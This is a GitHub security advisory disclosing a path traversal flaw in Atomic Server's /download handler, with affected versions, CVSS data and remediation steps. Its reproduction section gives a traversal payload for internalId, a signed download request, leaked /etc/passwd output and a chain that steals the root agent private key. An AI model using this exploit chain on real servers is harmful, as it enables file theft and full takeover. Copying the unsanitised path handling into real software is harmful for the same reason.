GHSA-8VC4-8HJQ-988P

Vulnerability from github – Published: 2026-11-18 20:42 – Updated: 2026-11-18 20:42
VLAI
Summary
Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)
Details

Summary

The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.

Affected component

  • server/src/handlers/download.rs:56-65 — file_path.push(internal_id) + NamedFile::open, no sanitization, no File-class check.
  • lib/src/commit.rs (apply_changes) — sets any property; no server-managed-property denylist.

Steps to Reproduce

Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).

  1. Create a resource and set internalId to a traversal path — sign the Commit and POST /commit (200):
subject = http://localhost:9883/pwnfile
set = {
  "https://atomicdata.dev/properties/parent": "http://localhost:9883",
  "https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
  1. Download it. The auth signature is over the resolved subject (the server strips the /download prefix → http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>

Response 200 OK returns the host /etc/passwd:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
  1. Escalate — set internalId = /atomic-storage/config/config.toml (absolute path) and download again:
server      = "http://localhost:9883"
agent       = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY"   # server root agent key
  1. Using the stolen key, the attacker signs a Commit with signer = <root agent> → POST /commit (200) edits data as root. Full compromise.

Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path. Actual: Arbitrary host file read, including the root private key.

Impact

Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.

Remediation

  • In download.rs: sanitize_filename(internal_id), then canonicalize and assert the resolved path stays within uploads_path before opening; verify the resource is a File.
  • Add a server-managed-property denylist (internalId, rights arrays, etc.) in lib/src/commit.rs so clients cannot set them.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "atomic-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.30.0"
            },
            {
              "last_affected": "0.40.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-18T20:42:15Z",
    "nvd_published_at": "2026-11-17T21:18:12Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path \u2014 `file_path.push(internal_id); NamedFile::open(file_path)` \u2014 with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` \u2014 `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) \u2014 sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path \u2014 sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n  \"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n  \"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix \u2192 `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: \u003cpubkey\u003e\nx-atomic-agent: http://localhost:9883/agents/\u003cpubkey\u003e\nx-atomic-timestamp: \u003cms\u003e\nx-atomic-signature: \u003ced25519(\"http://localhost:9883/pwnfile \u003cms\u003e\")\u003e\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate \u2014 set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver      = \"http://localhost:9883\"\nagent       = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\"   # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer = \u003croot agent\u003e` \u2192 `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the **root agent private key** \u2192 root impersonation \u2192 full read/write/delete of all data. Only a standard account is needed.\n\n## Remediation\n\n- In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`.\n- Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.",
  "id": "GHSA-8vc4-8hjq-988p",
  "modified": "2026-11-18T20:42:15Z",
  "published": "2026-11-18T20:42:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69156"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ontola/atomic-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ontola/atomic-server/releases/tag/v0.40.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)"
}



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